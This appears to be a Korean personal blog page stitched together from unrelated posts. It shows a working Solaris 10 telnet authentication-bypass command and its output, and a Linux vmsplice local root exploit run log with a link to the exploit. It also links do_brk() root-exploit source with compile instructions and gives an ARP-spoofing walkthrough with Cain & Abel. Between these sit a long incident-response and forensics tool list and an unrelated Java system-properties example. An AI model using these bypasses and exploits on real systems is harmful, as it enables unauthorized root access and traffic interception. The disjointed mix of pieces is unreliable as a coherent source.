내 남자의 길~!

■공개일

2007-02-11

 

■문제점

Solaris 10 버전에는 root 이외의 유저 계정으로 텔넷의 인증을 회피할 수 있다.

 

■실행결과

 

# telnet -l"-fbin" 192.168.0.1

Trying 192.168.32.130...

Connected to 192.168.0.1.

Escape character is '^]'.

Last login: Wed Jun 18 22:25:02 from 192.168.32.1

Sun Microsystems Inc.   SunOS 5.10      Generic January 2005

$

Linux 2.6.17 - 2.6.24.1 해당되며, 아래에서 보시는 것과 같이 root 로 바로 switching 됩니다.
hehe@oops:/tmp$ uname -a
Linux oops.host 2.6.18 #1 SMP Fri Sep 22 13:02:54 KST 2006 i686 GNU/Linux
hehe@oops:/tmp$ id
uid=1000(hehe) gid=100(users) groups=100(users)
hehe@oops:/tmp$ ./xx
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7dfd000 .. 0xb7e2f000
[+] root
hehe@oops:/tmp# id
uid=0(root) gid=0(root) groups=100(users)

vmsplice() 시스템 콜에 보안 구멍이 있는 것이 원인이라고 합니다. 버그가 있는 버전은 2.6.17 부터 2.6.24.1 이며, 현재 최신 버전은 오늘 나온 2.6.24.2입니다. 사실상 최근에 설치한 서버 모두가 대상입니다.

위에서 말했듯, 시스템에 일반 사용자 계정이 있어야 이용할 수 있는 버그이며, 네트워크를 통해 무차별 다수에게 공격을 가할 수 있는 성질의 버그는 아닙니다.

따라서 혼자 쓰는 리눅스 데스크톱이라면 전혀 위험하지 않습니다. 리눅스 서버라도 그렇게 크게 위험한 것은 아니지만, 자신의 서버에 수상쩍은 인물이 살고 있다 싶으면 조심하는 것이 좋겠습니다.

리눅스 데스크톱에서 프로그램 돌려보니까 바로 root 쉘이 떠버리네요. -o-;; 다른 서버 몇몇도 테스트해봤는데, 젠투 서버에서는 컴파일 오류가 나지만 소스 코드를 약간 수정하니까 되고, 우분투 서버는 잘 뚫립니다. 뭐, 버그 리포트도 된 상태이니 곧 패치가 나오겠지요.

첫 실행에 안되면 한번 더 실행해 보자.. 될때까지 실행하면 됨

http://www.milw0rm.com/exploits/5092

패치하는 파일 소스

리눅스 커널 2.4.22 이하 루트 획득 exploit 이다.
그 서버에 계정이 있어야 하겠지만 말이다.

do_brk() exploit 소스  (컴파일은 gcc -static 소스명 -o 실행파일명)
http://packetstorm.linuxsecurity.com/0312-exploits/hatorihanzo.c

대표적인 커널 취약점인 do_brk()의 결점을 보안하기 위해서 방어모듈을 이용하여 패치를 하였습니다.
패치 방법입니다.
http://www.joinc.co.kr/modules/moniwiki/wiki.php/Site/Joinc/SiteAdmin/2006/8/24

■ 사고대응관련 기관

 국내
  CERTCC-KR   -  http://www.certcc.or.kr/
 SecurityMap.Net IRC  -  http://www.securitymap.net/
 KRNIC   -  http://ip.nic.or.kr/
 CONCERT   -  http://www.concert.or.kr/
 경찰청    -   http://www.ctrc.go.kr/
 검찰청    -   http://icic.sppo.go.kr/
 국정원    -   http://www.nis.go.kr/
 
 국외
  FIRST    -    http://www.first.org/
 APCERT   -   http://www.apcert.org/
 TF-CERT   -   http://www.terena.nl/tech/task-forces/tf-csirt/
 

 ■ 취약성 정보 제공 사이트

 CVE
  http://cve.mitre.org/
 
 CERTCC-KR
  http://www.certcc.or.kr/
 
 Securityfocus
  http://www.securityfocus.com/
 
 CERTCC
  http://www.cert.org/
 
 CIAC
  http://www.ciac.org/ciac/
 
 SANS ISC
  http://isc.sans.org/
 

 ■ PGP software

 PGPi
  http://www.pgpi.org/
 
 GnuPG
  http://www.gnupg.org/
 

## 유닉스 피해시스템 분석 ##

 ■ 분석 도구

 netcat
 cryptcat
  http://www.atstake.com/research/tools/network_utilities/
 http://sourceforge.net/projects/cryptcat/
 
 lsof
  ftp://lsof.itap.purdue.edu/pub/tools/unix/lsof
 
 nmap
  http://www.nmap.org
 http://www.certcc.or.kr/tools/Nmap.html
 http://www.neohapsis.com/neolabs/neo-ports/
 
 chkrootkit
  http://www.chkrootkit.org/
 
 sleuthkit/autopsy
  http://www.sleuthkit.org/index.php
 
 TCT
  http://www.porcupine.org/forensics/
 
 분석도구링크사이트
  http://www.sleuthkit.org/links.php
 http://www.opensourceforensics.org/tools/index.html
 http://www.linux-forensics.com/downloads.html
 
 분석 CD
  snarl  -  http://snarl.eecue.com/articles/
 FIRE  - http://fire.dmzs.com/
 

 ■ 무결성 관련 사이트 및 도구

 Tripwire
  http://www.certcc.or.kr/tools/tripwire.html
 
 SUN fingerprint
 Database
  http://sunsolve.Sun.COM/pub-cgi/show.pl?target=content/content7
 
 Known Goods
  http://www.knowngoods.org/
 
 Cyber Abuse
  http://rk.cyberabuse.org/
 
 NIST NSRL
  http://www.nsrl.nist.gov/
 
 Hacker Keeper
  http://www.hashkeeper.org/
 

 ■ LKM 관련 자료

 Solaris LKM/BSD LKM/Linux LKM
  http://www.thc.org/papers.php
 
 Knark 분석문서
  http://www.certcc.or.kr/paper/paper-2.htm
 http://www.securityfocus.com/guest/4871
 
 Runtime Kernel Patch
  http://phrack.org/phrack/58/p58-0x07
 
 Adore LKM
  http://www.team-teso.net/releases.php
 
 kstat
  http://s0ftpj.org/en/site.html
 
 carbonite
  http://www.foundstone.com/
 

 ■ log 분석 및 관리

 Counterpane
  http://www.counterpane.com/log-analysis.html
 

 ■ 코드분석

 strace
  http://www.liacs.nl/~wichert/strace/
 
 ltrace
  http://packages.debian.org/stable/utils/ltrace.html
 
 fenris
  http://lcamtuf.coredump.cx/fenris/devel.shtml
 
 REC
  http://www.backerstreet.com/rec/rec.htm
 
 IDA Pro
  http://www.datarescue.com/idabase/ida.htm
 

## Windows 피해시스템 분석 ##

 ■ 디스크 복제

 EnCase  http://www.guidancesoftware.com/
 Safeback  http://www.forensics-intl.com/
 Ghost  http://www.symantec.co.kr/
 
 TrueImage  http://www.acronis.com/products/trueimage/
 Windows dd  http://unxutils.sourceforge.net/
 http://fire.dmzs.com/
 VOGON Image  http://www.vogon-international.com
 Fastbloc  http://www.guidancesoftware.com
 netcat
  http://www.atstake.com/
 http://sourceforge.net/projects/cryptcat/

 ■ 피해 정보 수집

psinfo, uptime, loggedon,
pslist, listdlls, handle, streams  http://www.sysinternals.com
fport/vision, sfind  http://www.foundstone.com
promiscdetect  http://ntsecurity.nu/toolbox/promiscdetect
listmodules, LNS  http://www.ntsecurity.nu/

 ■ 초기대응 자동화 도구

 Biatchux  http://biatchux.dmzs.com/
 IRCR
  http://packetstormsecurity.nl/Win/IRCR.zip

 ■ 파일 분석

 fs
  http://protools.anticrack.de/files/utilities/fs.zip
 SECRETS  http://www.invisiblesecrets.com
 EnCase  http://www.guidancesoftware.com
 FTK  http://www.accessdata.com
 bintext  http://www.foundstone.com

 ■ NT 루트킷

 NT 루트킷 동작원리  http://www.phrack.org/show.php?p=55&a=5
 NT 후크(hook) 프로그래밍  http://www.iamaphex.cjb.net
 NT 후크(hook) API  http://www.anticracking.sk/elicz
 HookTool  http://www.ivosoft.com/
 Windows API 보호 프로그램  http://www.watchguard.co.kr/slock.htm

 ■ 디스크 분석

 디스크 탐색기  http://www.restorer2000.com
 http://www.runtime.org/
 플로피디스크/하드디스크 분석  http://home.ahnlab.com/securityinfo
 Seagate 디스크 유틸리티  http://www.seagate.com/support/software
 Maxtor 디스크 유틸리티  http://www.maxtor.com/en/index.htm
 SAMSUNG 디스크 유틸리티  http://www.sec.co.kr
 슬랙 공간 검색 프로그램(NTI)  http://www.secure-data.com

 ■ 메모리 덤프

 Windows NT memory dumps  http://support.microsoft.com/default.aspx?scid=KB;EN-US;Q235496&
 Windows 2000/xp/2003  memory dumps  http://support.microsoft.com/default.aspx?scid=KB;EN-US;Q254649&
 Windows Debugging Tools  http://www.microsoft.com/whdc/ddk/debugging/default.mspx
 pmdump  http://ntsecurity.nu/toolbox/pmdump

 ■ Timeline 분석

 Wininterrogate  http://winfingerprint.sourceforge.net
 
 
 

 ■ 파일 복구

 휴지통 폴더 분석(Rifiuti)  http://sourceforge.net/projects/odessa
 파일 복구(Undelete)  http://www.execsoft.com/undelete
 GetDataBack  http://www.runtime.org
 File Recover  http://www.filerecover.com

 ■ 임시파일 분석

 Cache Auditor  http://www.webknacks.com/
 PurgeIE Pro  http://www.purgeie.com/
 History Reader  http://www.wbaudisch.de/HistoryReader.htm
 IE Cookie File
 IE Internet Activity  http://sourceforge.net/project/odessa
 Examiner  http://www.paraben-forensics.com/examiner.html

 ■ 로그 파일 분석

 NT Security Event IDs  http://support.microsoft.com/default.aspx?scid=kb;en-us:174074  --> x
 Windows 2000 Event IDs  http://www.microsoft.com/korea/windows2000/techinfo/messages/default.asp
 EventCombMT  http://www.microsoft.com/downloads/release.asp?releaseid=36834
 이벤트 로그 모니터링  http://www.tntsoftware.com
 원격 이벤트 로그 수집  http://www.kiwisyslog.com/
 http://www.rippletech.com
 Log Parser   http://www.microsoft.com/windows2000/downloads/tools/default.asp
 웹서버 공격 로그 점검  http://www.securitymap.net/sdm/docs/ids/fingerprint-80-attack.txt
 Log Parser  http://securityfocus.com/infocus/1712
 SQL-Inject 공격 분석  http://www.nextgenss.com/papers/advanced_sql_injection.pdf
 http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

 ■ 바이너리 프로그램 분석

 Filemon, Regmon,  CPUmon, TDImon,  procexp, strings  http://www.sysinternals.com
 Winalysis  http://www.winalysis.com
 strace  http://razor.bindview.com/tools
 Tripwire  http://www.tripwire.com
 Undelete 3.0  http://www.execsoft.com/undelete
 INTACT  http://www.pedestalsoftware.com
 API Spy   http://www.matcode.com/apis32.htm
 SoftICE  http://www.numega.com/
 PE File Format  http://spiff.tripnet.se/~iczelion/files/pe1.zip
 http://www.windowsitlibrary.com/Content/356/11/toc.html
 PEiD  http://www.mesa-sys.com/~snaker/peid
 UPX  http://upx.sourceforge.net
 gt030  http://surf.to/phax
 fd/fi FileScanner  http://protools.anticrack.de/files/utilities/fd.zip
 http://protools.anticrack.de/files/utilities/fi.zip
 Programmer’s Tools  http://protools.cjb.net/
 IDA Pro  http://www.datarescue.com/idabase/ida.htm
 PE Exploere  http://www.heaventools.com/

 ■ 패스워드 해독

 @stake LC  http://www.atstake.com/
 John the Ripper  http://www.openwall.com/john/
 chntpw  http://ntpass.blaa.net/
 rawwrite2  http://home.eunet.no/~pnordahl/ntpasswd
 패스워드 복구 프로젝트  http://www.openwall.com/passwords
 ELCOMSOFT  http://www.crackpassword.com/
 Russian password crackers  http://www.password-crackers.com/
 Passware Kit  http://www.lostpassword.com/
 AccessData  http://www.accessdata.com/
 PasswordService  http://www.passwordservice.com/

## 공격자 모니터링 ##

 ■ 네트워크 모니터링

 TCPDump
  http://www.tcpdump.org
 http://windump.polito.it/
 
 tcpflow
  http://www.circlemud.org/~jelson/software/tcpflow/
 
 ngrep
  http://www.packetfactory.net/Projects/ngrep
 
 ethereal
  http://www.ethereal.com/
 
 snort
  http://www.snort.org/
 
 p0f
  http://www.stearns.org/p0f/
 
 dsniff
  http://monkey.org/~dugsong/dsniff/
 

 ■ 시스템 모니터링

 sebek
  http://www.honeynet.org/papers/honeynet/tools/index.html
 
 ComLog
  http://iquebec.ifrance.com/securit/
 
 evtsys
  https://engineering.purdue.edu/ECN/Resources/Documents/UNIX/evtsys
 
 원격 이벤트 로그 수집
  http://www.kiwisyslog.com/
 

 ■ Honeynet/Honeypot

 Honeynet.Org
  http://www.honeynet.org/
 
 backofficer
  http://www.nfr.com/resource/backOfficer.php
 
 Deception Toolkit
  http://all.net/dtk/index.html
 
 Honeyd
  http://www.citi.umich.edu/u/provos/honeyd/
 
 Tracking Hackers
  http://www.tracking-hackers.com/
 
 Honeypots.net
  http://www.honeypots.net/
 
 bridge Firewall
  http://doc.kldp.org/wiki.php/DocbookSgml/Bridge_Firewall-KLDP
 
 Firewall 관련자료
  http://doc.kldp.org/wiki.php/LinuxdocSgml/Firewall-HOWTO
 
 Netfilter
  http://doc.kldp.org/wiki.php/DocbookSgml/Netfilter-hacking-TRANS
 
 Firewall 설정
 스크립(rc.firewall)
  http://www.honeynet.org/papers/gen2/rc.firewall
 
 Vmware
  http://www.vmware.com/products/
 
 UML
  http://user-mode-linux.sourceforge.net/
 

## 공격자 추적 및 대응 ##

 samspade
  http://www.samspade.org/ssw/
 
 ARIN
  http://www.arin.net/index.html
 
 APNIC
  http://www.apnic.net/apnic-bin/whois.pl
 
 RIPE
  http://www.ripe.net/perl/whois
 
 LACNIC
  http://lacnic.net/cgi-bin/lacnic/whois
 
 KRNIC
  http://whois.nic.or.kr/
 
 이메일 환경개선 추진 협의체
  http://www.antispam.or.kr/
 
 Network Abuse Clearinghouse
  http://www.abuse.net/
 
 Fight Spam
  http://spam.abuse.net/
 
 Spamcop
  http://www.spamcop.net/
 
 Mail Abuse Prevention System
  http://mail-abuse.org/ 

http://x86osx.com/bbs/view.php?id=allqna&no=3797&ksn=1&kss=1&ksc=0&kst=1&ksm=1&kw=flat%20image

 http://nullspace.tistory.com/43
  ARP Cache Poisoning(ARP Spoofing) 공격시 가장 많이 사용되는 보안툴인 Cain & Abel 에 대해서 간단히 알아보겠습니다.
다운로드(Cain & Abel v4.9.14 released)  

ca_setup.exe

Cain & Abel 의 많은 기능중 ARP Cache Poisoning 를 하기 위한 Sniffer 탭만 알아보겠습니다.
실행 후 Sniffer 탭을 클릭후 상단 메뉴의 네크워크 카드 그림을 클릭합니다.

상단 메뉴에서  + 기호를 클릭하여 서브넷 대역을 선택합니다.

그럼 다음 그림의 모습이 나타납니다.
그림의 하단에 ARP 탭을 클릭합니다.

ARP탭을 클릭하면 3개의 영역이 나타납니다. 여기서 우측 상단의 빈공간을 클릭후 메뉴의 +  눌러줍니다.
그럼 아래 그림과 같은 그림이 나타납니다.

여기서 오른쪽 영역은 스니핑 하고 싶은 컴퓨터의 IP 목록을 클릭후 대상 컴퓨터의 IP주소를 재외한 호스트 목록이 보여집니다. 클릭한 대상 컴퓨터의 윗단의 라우터(게이트웨이)IP 를 선택 후 OK 를 클릭합니다.

마지막으로 메뉴바에 있는 방사선 모양을 클릭하면 시스템과 상위 라우터 사이의 모든 통신 트래픽을 중간에 잡아 볼수 있습니다.

* 악의 적인 용도로 사용은 책임질수 없습니다. 해당 자료는 단지 지식 습득을 위해 기제 했음을 알려드립니다.

public class test  
{
public static void main(String[] args)  
{
java.util.Enumeration e = System.getProperties().propertyNames();

while(e.hasMoreElements()){
String obj = (String)e.nextElement();

System.out.print(obj + " ===> ");
System.out.println(System.getProperty(obj));
}
}
}


: result
java.runtime.name ===> Java(TM) 2 Runtime Environment, Standard Edition
sun.boot.library.path ===> C:\j2sdk1.4.2_03\jre\bin
java.vm.version ===> 1.4.2_03-b02
java.vm.vendor ===> Sun Microsystems Inc.
java.vendor.url ===> http://java.sun.com/
path.separator ===> ;
java.vm.name ===> Java HotSpot(TM) Client VM
file.encoding.pkg ===> sun.io
user.country ===> KR
sun.os.patch.level ===> Service Pack 4
java.vm.specification.name ===> Java Virtual Machine Specification
user.dir ===> C:\Documents and Settings\Administrator\바탕 화면
java.runtime.version ===> 1.4.2_03-b02
java.awt.graphicsenv ===> sun.awt.Win32GraphicsEnvironment
java.endorsed.dirs ===> C:\j2sdk1.4.2_03\jre\lib\endorsed
os.arch ===> x86
java.io.tmpdir ===> C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\
line.separator ===>

java.vm.specification.vendor ===> Sun Microsystems Inc.
user.variant ===>
os.name ===> Windows 2000
sun.java2d.fontpath ===>
java.library.path ===> C:\j2sdk1.4.2_03\bin;.;C:\WINNT\system32;C:\WINNT;.;C:\j2
sdk1.4.2_03\bin;C:\oracle\ora92\bin;C:\Program Files\Oracle\jre\1.3.1\bin;C:\Pro
gram Files\Oracle\jre\1.1.8\bin;C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\Wbe
m;F:\apache-ant-1.5.3-1\bin;C:\Program Files\SecureCRT\;C:\Program Files\SSH Com
munications Security\SSH Secure Shell
java.specification.name ===> Java Platform API Specification
java.class.version ===> 48.0
java.util.prefs.PreferencesFactory ===> java.util.prefs.WindowsPreferencesFactor
y
os.version ===> 5.0
user.home ===> C:\Documents and Settings\Administrator
user.timezone ===>
java.awt.printerjob ===> sun.awt.windows.WPrinterJob
file.encoding ===> MS949
java.specification.version ===> 1.4
user.name ===> Administrator
java.class.path ===> .;
java.vm.specification.version ===> 1.0
sun.arch.data.model ===> 32
java.home ===> C:\j2sdk1.4.2_03\jre
java.specification.vendor ===> Sun Microsystems Inc.
user.language ===> ko
awt.toolkit ===> sun.awt.windows.WToolkit
java.vm.info ===> mixed mode
java.version ===> 1.4.2_03
java.ext.dirs ===> C:\j2sdk1.4.2_03\jre\lib\ext
sun.boot.class.path ===> C:\j2sdk1.4.2_03\jre\lib\rt.jar;C:\j2sdk1.4.2_03\jre\li
b\i18n.jar;C:\j2sdk1.4.2_03\jre\lib\sunrsasign.jar;C:\j2sdk1.4.2_03\jre\lib\jsse
.jar;C:\j2sdk1.4.2_03\jre\lib\jce.jar;C:\j2sdk1.4.2_03\jre\lib\charsets.jar;C:\j
2sdk1.4.2_03\jre\classes
java.vendor ===> Sun Microsystems Inc.
file.separator ===> \
java.vendor.url.bug ===> http://java.sun.com/cgi-bin/bugreport.cgi
sun.cpu.endian ===> little
sun.io.unicode.encoding ===> UnicodeLittle
sun.cpu.isalist ===> pentium i486 i386


가끔 OS 및 JVM에 의존적인 환경변수들을 가져올 필요가 있습니다.
그럴때, API 레퍼런스를 찾아보면 나오지만, 그래도 정리를 해 봅니다..

Key	Description of Associated Value
java.version	Java Runtime Environment version
java.vendor	Java Runtime Environment vendor
java.vendor.url	Java vendor URL
java.home	Java installation directory
java.vm.specification.version	Java Virtual Machine specification version
java.vm.specification.vendor	Java Virtual Machine specification vendor
java.vm.specification.name	Java Virtual Machine specification name
java.vm.version	Java Virtual Machine implementation version
java.vm.vendor	Java Virtual Machine implementation vendor
java.vm.name	Java Virtual Machine implementation name
java.specification.version	Java Runtime Environment specification version
java.specification.vendor	Java Runtime Environment specification vendor
java.specification.name	Java Runtime Environment specification name
java.class.version	Java class format version number
java.class.path	Java class path
java.library.path	List of paths to search when loading libraries
java.io.tmpdir	Default temp file path
java.compiler	Name of JIT compiler to use
java.ext.dirs	Path of extension directory or directories
os.name	Operating system name
os.arch	Operating system architecture
os.version	Operating system version
file.separator	File separator ("/" on UNIX)
path.separator	Path separator (":" on UNIX)
line.separator	Line separator ("\n" on UNIX)
user.name	User's account name
user.home	User's home directory
user.dir	User's current working directory